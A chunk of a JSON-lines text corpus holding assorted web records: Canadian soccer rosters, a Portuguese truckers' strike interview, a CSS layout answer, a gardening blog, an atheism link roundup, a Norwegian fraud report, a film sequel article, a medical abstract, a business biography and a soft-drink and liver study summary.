Unattached\n\nM- Ashley Lawrence | Toronto, ON | USA \/ West Virginia University\n\nF- Marie Levasseur | Stoneham, QC | CAN \/ CS Haute St- Charles\n\nD- Kinley McNicholl | Oakville, ON | USA \/ University of Wisconsin\n\nD- Victoria Pickett | Barrie, ON | CAN \/ Glen Shields Soccer Club\n\nF- Nichelle Prince | Ajax, ON | USA \/ The Ohio State University\n\nD- Rebecca Quinn | Toronto, ON | USA \/ Duke University\n\nGK - Kailen Sheridan | Whitby, ON | USA \/ Clemson University\n\nD- Chelsea Stewart | Highland Ranch, CO, USA | USA \/ Western New York Flash\n\nM- Danica Wu | Edmonton, AB | GER \/ Herdorfer\n\nD- Shelina Zadorsky | London, ON | SWE \/","metadata":{"pile_set_name":"OpenWebText2"},"id":856} {"contents":"Vittsj\u00f6\n\nThe Men's Roster\n\nIt has been no secret in Canadian soccer circles that Canada's U-22 Pan Am Games squad is being used as preparation for 2016 Olympic Qualification. That is ultimately the goal, and Toronto 2015 is just a stepping stone on the path to achieving it.\n\nHowever, with the roster Canada named today there is a chance they could make some noise at the tournament. It is also no secret that this is the deepest the talent pool has been among Canadian players in their early 20s in some time. This \"second choice\" Pan Am Games roster serves as proof.\n\nKevin Aleman is the most exciting player on the team as the 21-year-old has seen plenty of success since going on loan to A.D. Belen in Costa Rica from CS","metadata":{"pile_set_name":"OpenWebText2"},"id":857} {"contents":"Herediano. Aleman will add some attacking flair to a team that is without two of its preferred strikers: Jordan Hamilton and Cyle Larin.\n\nUp front Canada will instead rely on Mo Babouli, the leading scorer for Toronto FC II. He will be joined by Caleb Clarke who has five goals to lead Vancouver Whitecaps II in scoring. Speedy winger Raheem Edwards, also of Toronto FC II, could be another option.\n\nIn the midfield FC Edmonton's Hanson Boakai is the headliner, as the 18-year-old has 1 assist in 23 appearances in the NASL this year. He will be joined by Toronto FC II captain Chris Mannella, Jeremy Gagnon-Lapare of the Montreal Impact and Manny Aparicio of Toronto FC II.\n\nThe men's team will be coached by Benito Floro's son Antonio, and will","metadata":{"pile_set_name":"OpenWebText2"},"id":858} {"contents":"start their tournament on July 12. Their group includes Peru, Panama and Brazil.\n\nM- Kevin Aleman | Brampton, ON | CRC \/ CS Herediano\n\nM- Manuel Aparicio | Toronto, ON | CAN \/ Toronto FC (Toronto FC II)\n\nF- Molham Babouli | Mississauga, ON | CAN \/ Toronto FC II\n\nM- Louis B\u00e9land-Goyette | Montr\u00e9al, QC | CAN \/ FC Montr\u00e9al\n\nD- Kevon Black | Brampton, ON | CAN \/ Toronto FC II\n\nF- Hanson Boakai | Edmonton, AB | CAN \/ FC Edmonton\n\nD- Adam Bouchard | Oakville, ON | CAN \/ FC Toronto II\n\nF- Caleb Clarke | Richmond, BC | CAN \/ Vancouver Whitecaps FC (VWFC2)\n\nD- Alex Comsia | North Vancouver, BC | USA \/ Carolina Railhawks U-23\n\nGK- Maxime Cr\u00e9peau | Candiac, QC | CAN \/ Impact de Montr\u00e9al (FC Montr\u00e9al)\n\nF- Raheem Edwards","metadata":{"pile_set_name":"OpenWebText2"},"id":859} {"contents":"| Toronto, ON | CAN \/ Toronto FC II\n\nD- Jackson Farmer | Edmonton, AB | CAN \/ Vancouver Whitecaps FC 2\n\nF- Ben Fisk | Vancouver, BC | ESP \/ Coruxo FC\n\nM- J\u00e9r\u00e9my Gagnon-Lapar\u00e9 | Sherbrooke, QC | CAN \/ Impact de Montr\u00e9al\n\nGK- Ricky Gomes | Kitchener, ON | NED \/ MVV Maastricht\n\nD- Jonathan Grant | Pickering, ON | CAN \/ FC Montr\u00e9al\n\nD- Manjrekar James | North York, ON | HUN \/ P\u00e9csi MFC\n\nM- Chris Manella | Toronto, ON | CAN \/ Toronto FC (Toronto FC II)","metadata":{"pile_set_name":"OpenWebText2"},"id":860} {"contents":"Ivar Schmidt diz ser respons\u00e1vel por pelo menos\n\n100 pontos de bloqueio de caminhoneiros\n\n(Foto: Reprodu\u00e7\u00e3o\/Facebook)\n\nIvar Schmidt diz ser respons\u00e1vel por pelo menos 100 pontos de bloqueio de caminhoneiros nas rodovias do pa\u00eds. O l\u00edder do rec\u00e9m-criado Comando Nacional dos Transportes, que n\u00e3o \u00e9 vinculado a nenhum sindicato ou confedera\u00e7\u00e3o de trabalhadores, atribui o sucesso de sua mobiliza\u00e7\u00e3o ao Whatsapp. \u00c9 por meio desse aplicativo de troca de mensagens que ele se comunica com os l\u00edderes de cada ponto de bloqueio e passa orienta\u00e7\u00f5es.\n\nDurante a entrevista que deu ao G1, Schmidt atendeu a uma liga\u00e7\u00e3o de um dos caminhoneiros e recomendou que n\u00e3o entrasse em atrito com a pol\u00edcia. O governo conseguiu na Justi\u00e7a a libera\u00e7\u00e3o das rodovias federais em 11 estados. Por\u00e9m, nesta quinta-feira (26), os caminhoneiros mant\u00eam bloqueios","metadata":{"pile_set_name":"OpenWebText2"},"id":861} {"contents":"em sete deles: Cear\u00e1, Mato Grosso, Mato Grosso do Sul, Paran\u00e1, Rio Grande do Sul, Santa Catarina e S\u00e3o Paulo.\n\nSeu poder de mobiliza\u00e7\u00e3o est\u00e1 causando dor de cabe\u00e7a ao governo. Enquanto sindicatos e associa\u00e7\u00f5es que representam os caminhoneiros aceitaram na noite de quarta-feira (25) os termos do acordo proposto pelo governo para colocar fim aos protestos da categoria em todos os estados, Schmidt diz que n\u00e3o vai ceder enquanto o governo n\u00e3o criar o chamado frete m\u00ednimo. \u201cDaqui de Bras\u00edlia eu s\u00f3 saio com alguma solu\u00e7\u00e3o ou morto\u201d, diz.\n\n\n\nSchmidt conta que fundou o Comando Nacional dos Transportes com cinco amigos caminhoneiros em dezembro do ano passado. Ele se orgulha em dizer que a entidade n\u00e3o tem vincula\u00e7\u00e3o a partido, sindicato ou federa\u00e7\u00e3o. \u201cA categoria n\u00e3o reconhece mais esses","metadata":{"pile_set_name":"OpenWebText2"},"id":862} {"contents":"representantes antigos, eles atendem s\u00f3 a um leque pequeno da categoria, fica tudo centralizado em S\u00e3o Paulo, e a realidade de S\u00e3o Paulo \u00e9 diferente do Brasil\u201d, explica.\n\n\n\nSchmidt, que j\u00e1 foi caminhoneiro, atualmente \u00e9 propriet\u00e1rio de uma pequena transportadora desde 2002 em Mossor\u00f3, no Rio Grande do Norte. Natural de Palmitos, SC, tem 44 anos, mora h\u00e1 16 anos no RN, \u00e9 casado desde 1996 e tem um casal de filhos. Atualmente tem um caminh\u00e3o de sua propriedade, que est\u00e1 parado na Bahia.\n\n\n\nO empres\u00e1rio diz que a paralisa\u00e7\u00e3o estava marcada na verdade para o dia 1\u00ba de abril, mas acabou antecipada por causa do primeiro aumento do combust\u00edvel em novembro. \u201cNesse aumento de novembro j\u00e1 nos botaram uma faca na garganta, e com esse \u00faltimo cortaram nossa veia","metadata":{"pile_set_name":"OpenWebText2"},"id":863} {"contents":"aorta\u201d, diz.\n\n\n\n\u201cO pessoal j\u00e1 tinha contato com a gente. Mossor\u00f3 \u00e9 um polo de carga, por conta da minha transportadora sou muito conhecido e por isso conseguimos mobilizar todo mundo\u201d, conta.\n\nSchmidt afirma que no in\u00edcio at\u00e9 resistiu \u00e0 ideia de antecipar os bloqueios nas estradas porque diz que gosta das coisas bem organizadas. \u201cEu queria pra 1\u00ba de abril, mas o lucro operacional \u00e9 zero neste momento, ent\u00e3o deflagramos antes. Os caminhoneiros n\u00e3o recebem aumento h\u00e1 10 anos, a deprecia\u00e7\u00e3o nem \u00e9 mais contabilizada\u201d, diz.\n\n\n\nDe acordo com Schmidt, at\u00e9 ter\u00e7a-feira (24), ele contabilizava 128 pontos de bloqueio sob seu comando. Mas na quarta-feira (25) alguns se desmobilizaram ap\u00f3s o acordo anunciado com o governo e a pol\u00edcia come\u00e7ou a intervir para liberar as rodovias. Mas o empres\u00e1rio garante","metadata":{"pile_set_name":"OpenWebText2"},"id":864} {"contents":"que em 80% dos pontos n\u00e3o houve desmobiliza\u00e7\u00e3o.\n\n\n\nEle reclama que foi convidado a se retirar da reuni\u00e3o na sede do Minist\u00e9rio dos Transportes, em Bras\u00edlia. \u201cFoi jogo de cena montado pelo governo. Chamaram pra reuni\u00e3o \u00e0s 14h com supostos l\u00edderes do movimento, fui convidado para sair. A\u00ed tive uma reuni\u00e3o com o secret\u00e1rio do ministro da Secretaria-Geral da Presid\u00eancia, Miguel Rossetto, \u00e0s 19h30 que durou at\u00e9 as 21h, e nesse tempo o Rossetto anunciou o acordo com os representantes dos caminhoneiros\u201d, diz.\n\n\n\nSchmidt quer que o governo aprove sua proposta de criar o frete m\u00ednimo para que, segundo ele, n\u00e3o ocorra mais a explora\u00e7\u00e3o dos caminhoneiros. Para ele, ser\u00e1 uma esp\u00e9cie de balizamento no setor de cargas. O valor defendido por ele \u00e9 de R$ 0,70 por eixo e","metadata":{"pile_set_name":"OpenWebText2"},"id":865} {"contents":"por km rodado. \u201cHoje n\u00e3o \u00e9 por eixo nem por km rodado e isso contribui com o excesso de peso. A partir do momento que tiver o frete por km rodado n\u00e3o vai haver peso a mais porque ser\u00e1 por quilometragem e n\u00e3o por peso, isso vai beneficiar o pr\u00f3prio governo, que vai gastar menos para recuperar a malha vi\u00e1ria\u201d, explica. Schmidt diz que apresentou essa proposta ao secret\u00e1rio de Rossetto na quarta e foi pedido a ele um detalhamento. Agora o l\u00edder aguarda uma nova reuni\u00e3o.\n\n\n\nQuestionado se pretende se candidatar a algum cargo pol\u00edtico no futuro, ele descartou. \u201cNunca pensei nisso, nunca me envolvi com pol\u00edtica. A \u00e1gua bateu no meu pesco\u00e7o, por isso me mexi. Nosso movimento tem s\u00f3 o prop\u00f3sito de resolver os problemas do","metadata":{"pile_set_name":"OpenWebText2"},"id":866} {"contents":"transporte, n\u00e3o nos envolvemos com pol\u00edtica\u201d, ressaltou.","metadata":{"pile_set_name":"OpenWebText2"},"id":867} {"contents":"Q:\n\nFluid column layout with fixed pixel margins between them?\n\nI dont want to use JS for this, only a css solution please.\nI want the columns inside of a containing div to fit inside equally i.e each one is a third of the width of the container. I have achieved this here - http:\/\/jsfiddle.net\/yFxZX\/\nHowever, on top of this, I also want 10px margin between the columns, with the first column kissing the left edge of the container, and the right column kissing the right edge of the container. see image below for crude mock up.\nAs the browser is re-sized or parent container changes width I want the columns to resize accordingly to fill the space but the margins between them to remain fixed at 10px.\nCan this be done without","metadata":{"pile_set_name":"StackExchange"},"id":868} {"contents":"JS?\n\nA:\n\nUse negative margins:\n.container {\n background: green;\n overflow: auto;\n}\n\n.inner {\n padding-left: 20px;\n}\n\n.box {\n width: 33.3%;\n background: red;\n float: left;\n margin-right: 10px;\n}\n\n.first {\n margin-left: -20px;\n}\n\n.last {\n width: 33.4%;\n margin-right: 0;\n \/*float:right;*\/\n}\n\nimg {\n max-width: 100%;\n height: auto;\n width: auto\\9;\n \/* ie8 *\/\n}\n\nhttp:\/\/jsfiddle.net\/yFxZX\/2\/\n\n","metadata":{"pile_set_name":"StackExchange"},"id":869} {"contents":"Sunday, February 17, 2013\n\nhope springs eternal...\n\nRemember this aloe from the February Foliage post:\n\nIt is a pup from my parents' plant - one of about seven that I got about three years ago. A lot of them have died, mostly from being too close to my neighbor's lawn, and getting too much water in too cold weather. Some of them got squashed when the new block wall got put up too. There are only three left, and they're all sad. The combination of the north side of the house, and the way the drainage worked, meant they spent each winter trying not to die, and didn't grow much over the summer. So, this weekend, I dug them all up, and put them in a temporary container:\n\nI also got rid","metadata":{"pile_set_name":"Pile-CC"},"id":870} {"contents":"of all the clay still hanging on their roots\n\nThere were actually four - three decent sized ones, of which only one is still green, and a tiny pup, which has some green in the crown still.\n\nHere they are all potted up in well-draining potting mix, with leaves trimmed:\n\nIntensive care for Aloes\n\nI think the bottom two in the picture might be too far gone, but they've looked that bad before and not died. My plan now is to keep them in this container until about late March\/early April, when the night are warm again. I'm actually going to move them indoors at night while they're in the container. Then, I'll plant them in one of the pipes, as part of a bit of a redo on the pipe garden.","metadata":{"pile_set_name":"Pile-CC"},"id":871} {"contents":"They should like it there - better draining soil, less water, and more sun.\n\nThe part of the front garden these came out of will be one of my projects this spring - I want to turn it into a gravel garden. I've been doing a lot of research (These old posts from Allison and Loree have been helpful!) and I think I'm almost ready. The most fun part will be finding plants - but I'm trying really hard to not buy any yet, since we've still got another month or two of winter...\n\nWhich makes me wonder how this new plant showed up, first in my car, and then in my garden:\n\nyup, i fell for the big garden center trick...\n\nIt's a Hardenbergia violacea 'Happy Wanderer', and according to sunset","metadata":{"pile_set_name":"Pile-CC"},"id":872} {"contents":"it's good for sunset zones 8 through 24, and according to most sources, it's fairly drought tolerant too. Getting it might have had something to do with being at the Getty last weekend, and seeing this specimen:\n\nGetty Sculpture garden, by the tram\n\nIt will be a few more weeks before this one gets planted though - I'll keep it in the garage at night until we're out of frost danger.","metadata":{"pile_set_name":"Pile-CC"},"id":873} {"contents":"Hey guys, I\u2019ve added a new sub-heading this week \u201cphilosophy\u201d, enjoy!\n\nNews\n\nGuest post: Catholicism waning in Ireland \u2013 Sigmund.\n\nWhy are the young abandoning Christianity? -Jerry Coyne.\n\nReligion of peace firebombs a paper for satire -Jerry Coyne.\n\nAfghan woman\u2019s choice: 12 years in jail or marry her rapist and risk death -Nick Paton Walsh.\n\nRepublicans insane; want to establish theocracy -Jerry Coyne.\n\nChild Rape, Penn State and the Catholic Church: Is Religion Especially Bad? \u2013 Greta Christina.\n\nAfghan women have continued to struggle -Ophelia Benson.\n\nNew Hampshire Gay Marriage Battle Highlights Republican Shifts\n\nAustralia Gay Marriage Advocacy Group Unveils Sweet, Sexy New Ad (VIDEO)\n\nAcid attack survivors network in Bangladesh \u2013 in pictures\n\nAtheists are the most generous\u2014even without heavenly reward! -Hank Pellisier.\n\nScience\n\n\u2018Tis a good day to #creozerg -PZ Myers.\n\nThe Kensington Forgery -PZ Myers.\n\nA very silly calculation -PZ Myers.\n\nWilliam","metadata":{"pile_set_name":"OpenWebText2"},"id":874} {"contents":"Lane Craig and the problem of pain -PZ Myers.\n\nWhat have the students been up to this week? -PZ Myers.\n\nHow many genes does it take to make a squid eye? -PZ Myers.\n\nWatts wrote a check he couldn\u2019t cash -PZ Myers.\n\nWhat have my students been thinking about lately? -PZ Myers.\n\nHumans learn to walk like rats -FREYA BOARDMAN-PRETTY\n\n\u201cNew\u201d Genes May Have Played a Role in Human Brain Evolution -Charles Q Choi.\n\nDid climate change doom roaming Neanderthals? -Emily Sohn.\n\nTeam pinpoints date and rate of Earth\u2019s most extreme extinction\n\nNeutrino experiment repeat at Cern finds same result -Jason Palmer.\n\nLHC Combination Of Higgs Limits: MH<141 GeV -Tommaso Dorigo.\n\nA whole book on the evolution of eyes -Jerry Coyne.\n\nMore religious incursion into science -Jerry Coyne.\n\nAnother paper on \u201csymbiotic speciation\u201d by Donald Williamson is retracted -Jerry Coyne.\n\nResearchers Turn","metadata":{"pile_set_name":"OpenWebText2"},"id":875} {"contents":"Embryonic Stem Cells into Functioning Neurons\n\nMicroraptor \u2013 the four-winged dinosaur that ate birds -Ed Yong.\n\nSkeleton of ancient human relative may yield skin -Catherine Brahic and Rohan Hooper.\n\nTwenty Years After \u201cDarwin on Trial\u201d, ID is Dead -Jason Rosenhouse.\n\nBenefits tied to immunisation-Daniel Midgley.\n\n\u201cGreat Dying\u201d Lasted 200,000 Years -Brian Handwerk.\n\nTop Ten Myths About the Brain -Lauren Helmuth.\n\nNASA Researchers: DNA Building Blocks Can Be Made in Space -Bill Stiegerwald.\n\nLife began with a planetary mega-organism-Michael Marshall.\n\nWorms Can Evolve to Survive Intersex Populations -Dannielle Whitaker.\n\nPhilosophy\n\nShould Zygotes be Considered People? -Mike Labossiere.\n\nKeith Ward & The Jerry Coyne Challenge -Jim P Houston.\n\nTheologians don\u2019t get to slither out from under the rules of nature -PZ Myers.\n\nCan philosophy or religion alone establish facts? -Jerry Coyne.\n\nIs science so limited? -Russell Blackford.\n\nDoes religion answer factual questions? -Russell Blackford.\n\nMarriage, A Few","metadata":{"pile_set_name":"OpenWebText2"},"id":876} {"contents":"Modest Proposals -Mike Labossiere.\n\nOn Science and What Is the Case -Eric MacDonald.\n\nHow Theologians Play With Words -Eric MacDonald.\n\nWhen did the Roman Catholic Church replace \u2018sanctity\u2019 with \u2018dignity\u2019 when promoting its Death Cult \u201cpro-life\u201d ideas? -Eric MacDonald.\n\nAtheism\n\nBibliography on Arguments for Atheism-Jeffrey Jay Lowder.\n\nHitler was a True Christian\u2122 -PZ Myers.\n\nHow Darwinian and atheistic were the Nazis? -Jerry Coyne.\n\nArgument Against the Resurrection of Jesus-Bradley Bowden.\n\nApologist Josh McDowell: Internet the Greatest Threat to Christians-Jeffery Jay Lowder.\n\nLinks and News \u2014 21-Nov-11-Jeffery Jay lowder.\n\nLinks and News \u2014 19-Nov-11-Jeffery Jay Lowder.\n\nGod, Multi-verses, and Modal Realism-Graham Oppy.\n\nMoreland on Consciousness-Graham Oppy.\n\nHume\u2019s Beautiful Argument-Keith Parsons.\n\nGeisler and Scholarship-Keith Parsons.\n\nSkeptics Are Not Gloating Over the Treatment of Michael Licona-Jeffery Jay Lowder.\n\nNorman Geisler on Evangelical Scholarship and Following the Evidence Wherever It Leads-Jeffrey Jay Lowder.\n\nWhy I am an atheist -Russell Glasser.\n\nThe","metadata":{"pile_set_name":"OpenWebText2"},"id":877} {"contents":"one (of many) where I\u2019m threatened with Hell\u2026 -Matt Dillahunty.\n\nTheism\n\nQuestion about Possible Worlds-Randy Everist.\n\nWhat part of \u201cnothing\u201d don\u2019t you understand?\u2013 Edward Feser.\n\nA Christian Gives Thanks That America Is Not A Christian Nation-Parker J. Palmer.\n\nJephthah, Human Sacrifice, and God: What should we make of Judges 11:29-40? -JW Wartick.\n\nWhat if God commanded murder?-Randy Everist.\n\nRelated articles\n\n-31.952222 115.858889","metadata":{"pile_set_name":"OpenWebText2"},"id":878} {"contents":"annonse\n\nannonse\n\nDen tidligere svindeld\u00f8mte organisasjonen SOS rasisme har igjen tapt i retten. Denne gangen er det lokallaget Haugesund SOS Rasisme som har blitt d\u00f8mt og p\u00e5talemyndigheten fikk fullt medhold i straffesaken. Lokallaget i Haugesund, ved Kjell Gunnar Larsen \u00f8nsker \u00e5 beholde en eiendom verdt 1,8 millioner kroner, men dersom dommen blir st\u00e5ende, m\u00e5 organisasjonen selge sin kontorseksjon sentralt i Haugesund, skriver Haugsunds avis . SOS Rasisme var i sin tid Europas aller st\u00f8rste antirasistiske organisasjon. Men s\u00e5 raste korthuset og bakmennene endte p\u00e5 tiltalebenken. Saken ble omtalt som Norgeshistoriens st\u00f8rste medlemsjuks .\n\n\u00d8remerkede midler\n\nMidlene SOS Rasisme mottok var \u00f8remerket barne- og ungdomsarbeid i lokalmilj\u00f8et, men pengene ble brukt til andre ting, blant annet eiendomskj\u00f8p. Organisasjonen ble tilslutt sl\u00e5tt konkurs og kreditorene fikk det lille som var igjen.\n\nannonse\n\nHaugesund SOS Rasisme er","metadata":{"pile_set_name":"OpenWebText2"},"id":879} {"contents":"registrert i Br\u00f8nn\u00f8ysund som et lokallag av SOS Rasisme. Det m\u00e5 ha v\u00e6rt et veldig aktivt milj\u00f8, for if\u00f8lge Dagbladet skal over halvparten av de som var under 26 \u00e5r i Haugesund ha v\u00e6rt medlemmer av lokallaget, 26 \u00e5r er den \u00f8vre grense for offentlig st\u00f8tte.\n\nHovedmann\n\nKjell Gunnar Larsen ble d\u00f8mt som hovedmann i medlemsjukset, og fikk hele to \u00e5r s fengsel for bedrageri , samt et saftig pengekrav. N\u00e5 kjemper Larsen en innbitt kamp i retten for \u00e5 beholde mest mulig av pengene. Men forsvarer advokat Elden ser for seg en anke.\n\nTiden vil vise om en eventuell anke f\u00f8rer frem og om lagmannsretten tror p\u00e5 at s\u00e5 mange i Haugesund er reelle medlemmer av SOS Rasisme","metadata":{"pile_set_name":"OpenWebText2"},"id":880} {"contents":"Everything You Need to Know about \u2018World War Z 2\u2019\n\nThe upcoming World War Z 2 movie continues the war against the undead army, here\u2019s the essential details.\n\nWhen talks about the first World War Z emerged, fans immediately jumped on its hype train. The film adaptation of Max Brooks\u2019 book of the same name was highly anticipated by fans for a long time. Once the movie premiered back in 2013, it became an instant box-office hit.\n\nGiven the first film\u2019s massive success, considering a sequel was almost a no-brainer. Despite the potential of World War Z 2, the film had frequent director changes over the years. A report from CinemaBlend mentioned that the project switched hands on multiple occasions. The sequel switched hands from original director Marc Forster to Jurassic","metadata":{"pile_set_name":"Pile-CC"},"id":881} {"contents":"World director J.A. Bayona.\n\nThe development of World War z 2\n\nIt was reported that the project will now be handled by Fight Club director David Fincher. The director teased the idea in the past, but no official statement has been made so far. This leads us to the question of the people behind the World War Z 2 cast.\n\nThe first World War Z film owed part of its success to its leading cast Brad Pitt. Fortunately, the 53-year-old actor will reprise his role as Gerry Lane in the sequel. However, the actor\u2019s performance might be affected due to his recent split with Angelina Jolie.\n\nOf course, the first movie didn\u2019t succeed without a good story, so the sequel hopes to follow that. Writers Steven Knight and Dennis Kelly hopes to","metadata":{"pile_set_name":"Pile-CC"},"id":882} {"contents":"give justice Max Brooks\u2019 novel. Knight is known for his work on TV series\u2019 Peaky Blinders and the upcoming miniseries Taboo.\n\nIf all goes well, then Brad Pitt will reprise his role in World War Z 2 as Gerry Lane.\n\nFresh plot could be featured\n\nWhile Kelly is known for his works on TV series Utopia and thriller film Black Sea. Based on what the writers hinted, the plot for the sequel might not pick up from World War Z\u2019s ending. This means that the film\u2019s direction might take a different turn and approach from the usual undead war.\n\nWe\u2019ll know for sure by next year if they decide to keep its scheduled June 9, 2017, premiere date. Max Brooks\u2019 World War Z novel has so much content that the writers could","metadata":{"pile_set_name":"Pile-CC"},"id":883} {"contents":"consider. Deviating from the first film\u2019s plot wouldn\u2019t be such a bad idea after all.","metadata":{"pile_set_name":"Pile-CC"},"id":884} {"contents":"A randomized comparative trial of acupuncture versus transcutaneous electrical nerve stimulation for chronic back pain in the elderly.\nSixty patients aged 60 or over with back pain for at least 6 months were recruited from General Practitioner referrals and randomized to 4 weeks of treatment with acupuncture or transcutaneous electrical nerve stimulation (TENS). All treatments were administered by the same physiotherapist and both groups had the same contact with him. The following were measured at baseline, completion and at a 3-month follow-up by an independent observer blinded to treatment received: (1) pain severity on visual analogue scale (VAS); (2) pain subscale of Nottingham Health Profile (NHP); (3) number of analgesic tablets consumed in previous week; (4) spinal flexion from C7 to S1. Thirty-two patients were randomized to acupuncture and","metadata":{"pile_set_name":"PubMed Abstracts"},"id":885} {"contents":"28 to TENS; only three withdrew (two from acupuncture, one from TENS). Significant improvements were shown on VAS (P < 0.001), NHP (P < 0.001) and tablet count (P < 0.05) between baseline and completion in both groups, these improvements remaining significant comparing baseline with follow-up with a further non-significant improvement in VAS and NHP in the acupuncture group. The acupuncture but not the TENS patients showed a small but statistically significant improvement (P < 0.05) in mean spinal flexion between baseline and completion which was not maintained at follow-up. Thus in these elderly patients with chronic back pain both acupuncture and TENS had demonstrable benefits which outlasted the treatment period. Acupuncture may improve spinal flexion. This trial cannot exclude the possibility that both treatments are 'placebos'.","metadata":{"pile_set_name":"PubMed Abstracts"},"id":886} {"contents":"Christine Beauchamp\n\nFor the 19th century woman who was known under the pseudonym \"Christine Beauchamp\", see Christine Beauchamp (pseudonym).\n\nChristine Beauchamp (born 1970) is an American businesswoman and fashion professional.\n\nCareer \nBeauchamp graduated from Harvard Business School with an MBA and holds an undergraduate Politics degree from Princeton University. After starting her career in 1992, as a financial analyst at Goldman Sachs, she worked for the Boston Consulting Group, and later served as president and CEO of Victoria's Secret from 2005 to 2008. Beauchamp later joined Ann, Inc. Initially serving as a consultant, she became Brand President of the Ann Taylor division in August 2008. Beauchamp left the company in 2012 to pursue other opportunities.\n\nIn September 2015, Beauchamp became the Global Brand President for Lauren and Chaps. In 2016, it was","metadata":{"pile_set_name":"Wikipedia (en)"},"id":887} {"contents":"announced that she would be leaving her position with Lauren and Chaps.\n\nIn May 2017, Beauchamp was announced as the new president of Amazon Fashion, replacing former president Catherine Lewis-Beaudoin.\n\nBeauchamp was formerly a member of the board of directors of Step Up Women's Network and a member of the executive committee of Angel Vine VC.\n\nReferences\n\nCategory:1970s births\nCategory:Living people\nCategory:American fashion businesspeople\nCategory:American women chief executives\nCategory:American financial analysts\nCategory:American retail chief executives\nCategory:Women corporate executives\nCategory:Women financial analysts\nCategory:Goldman Sachs people\nCategory:Harvard Business School alumni\nCategory:Princeton University alumni","metadata":{"pile_set_name":"Wikipedia (en)"},"id":888} {"contents":"13.08.2009 Non-Alcoholic Fatty Liver Disease (NAFLD)\n\nFatty liver from soft-fizzy drinks, claims a recent study...\n\nAccording to a recent study apparently just two soft-fizzy drinks a day may lead to long term liver damage. This latest study has found that, like the known risks that alcohol poses to the liver, fizzy drinks with a high sugar content can increase a person\u2019s risk of developing fatty liver disease.\n\nAlbeit a small study, it looked at 60 patients with non-alcoholic fatty liver disease (NAFLD), comparing their soft-drink habits, dietary intake, and blood markers of inflammation and insulin resistance to 18 controls without liver disease. The study found much higher levels of soft-drink consumption in those with NAFLD compared to those without.\n\nObesity, high blood sugar, high blood pressure and high cholesterol are all features","metadata":{"pile_set_name":"Pile-CC"},"id":889} {"contents":"of metabolic syndrome, a condition associated with NAFLD. Therefore, it seems plausible that someone who consumes more sugary drinks may have other health behaviours and risk factors that contribute to NAFLD risk. Limitations in the study design and certain statistical adjustment methods mean that the work cannot prove that soft drinks alone are the cause of fatty liver. The full report of the research will be of interest when it is published later this year.\n\nWho conducted this initial study?\nThis study was conducted by Nimer Assy and colleagues from The Liver Unit, Ziv Medical Center and other institutions in Israel. The short article was a poster presentation published in the Journal of Hepatology.\n\nWhat kind of scientific study was this?\nThis was an observational study in which the researchers aimed to","metadata":{"pile_set_name":"Pile-CC"},"id":890} {"contents":"examine the association between soft-drink consumption and non-alcoholic fatty liver disease (NAFLD) in people with or without metabolic syndrome.\n\nNAFLD is an increase in the fat in the liver in the absence of a history of excessive alcohol consumption. The condition increases risk of liver hepatitis and cirrhosis. Metabolic syndrome is a group of risk factors that increase the risk of heart disease and diabetes. These risk factors include high blood sugar, high blood pressure, abnormal lipids, such as high triglycerides, and abdominal obesity.\n\nThe study involved 60 patients with NAFLD, with an average age of 53 years: 32 patients with NAFLD and risk factors of diabetes, obesity or high triglycerides, and 28 patients who had NAFLD but no risk factors. The study also featured 18 control subjects without NAFLD,","metadata":{"pile_set_name":"Pile-CC"},"id":891} {"contents":"matched by age and gender.\n\nThe researchers performed ultrasound scans to look at the degree of fatty infiltration in the liver. They also carried out laboratory tests of the subjects\u2019 resistance to insulin, inflammatory levels and markers of oxidant\u2013antioxidant status.\n\nThe study had an observation period of six months, with the researchers collecting information on physical activity and administering a validated food questionnaire to record daily intake of food and soft drink at both the beginning and end of this period. The authors used this research to collect two seven-day records of added sugar intake.\n\nWhat were the results of the study?\nOf the 60 patients with NAFLD, 70% drank soft drinks excessively (>500ml\/day or >12tsp\/day of added sugar) compared to 20% of the 18 healthy controls.\n\nThe researchers looked at the soft-drink","metadata":{"pile_set_name":"Pile-CC"},"id":892} {"contents":"consumption of those with NAFLD. On most days of the six months 7% of those with NAFLD had one soft drink a day, 55% had two to three drinks a day and 38% drank more than four drinks a day. They report that the most common soft drinks consumed were classic Coca-Cola (53%), followed by flavoured fruit juices (47%).\n\nThe 29 patients with NAFLD and metabolic syndrome had similar inflammatory and oxidative stress markers compared to those with NAFLD without metabolic syndrome. However, tests found that those with metabolic syndrome had lower insulin sensitivity.\n\nWhen the researchers adjusted their analysis to account for the influence of dietary intake and physical activity levels, they found that consuming multiple soft drinks increased the patients\u2019 risk of fatty liver, regardless of whether they","metadata":{"pile_set_name":"Pile-CC"},"id":893} {"contents":"were diagnosed with metabolic syndrome or not.\n\nWhat interpretations did the researchers draw from these results?The authors report that patients with NAFLD have higher prevalence of soft-drink consumption, regardless of metabolic syndrome diagnosis. They suggest that this may allow for improved prediction of NAFLD risk and add insight to the role of sugary soft drinks as a cause of fatty liver.\n\nWhat does the NHS Knowledge Service make of this study?NHS: \"This small study looked at 60 patients with non-alcoholic fatty liver disease (NAFLD), with or without metabolic syndrome, and 18 controls without liver disease. It questioned their dietary intake and examined blood markers of inflammation and insulin resistance.\n\nThe study found much higher levels of soft-drink consumption in those with NAFLD compared to those without. Features of metabolic syndrome, such","metadata":{"pile_set_name":"Pile-CC"},"id":894} {"contents":"as being overweight or obese, having high blood sugar, high blood pressure, high cholesterol or triglycerides, are associated with NAFLD. Therefore, it seems plausible that someone who drinks higher amounts of sugary drinks may have other health behaviours and risk factors that contribute to risk of NAFLD. This study does not prove that soft drinks alone are the cause of fatty liver.\n\nThere are several points that must be considered when interpreting this research:\n\nIn this study the participants already had NAFLD when their soft-drink consumption was measured. It cannot prove that one preceded the other.\n\nAlthough a food frequency questionnaire and details on physical activity were reported to have been gathered, no information is given in the article on the methods of collection, findings of the results or how the","metadata":{"pile_set_name":"Pile-CC"},"id":895} {"contents":"researchers adjusted their analysis to account for them.\n\nIn this assessment of soft-drink consumption, as with all food frequency questionnaires, there is the possibility of error through individuals\u2019 estimation of amounts, different beverages consumed with different sugar levels (for example some may have been diet) and fluctuation of consumption levels over time.\n\nAlthough all cases of fatty liver disease were reported to be non-alcoholic, we do not know whether alcohol consumption has actually been assessed in this report.\n\nNo information is provided on how study participants were recruited to the study. It is particularly important that the characteristics of the three groups are described in some detail, as there may be some differences in characteristics due to how they were selected rather than due to NAFLD.\n\nWith the small study size, particularly","metadata":{"pile_set_name":"Pile-CC"},"id":896} {"contents":"with only 18 control participants included, the observed differences in soft-drink consumption between the two groups may be chance findings. This could be different if a much larger sample were assessed.\n\nAs this study has so far been reported in brief summary format, the research community will be interested in reading it in full once it is published in a peer-reviewed journal\".\n\nFor more information about 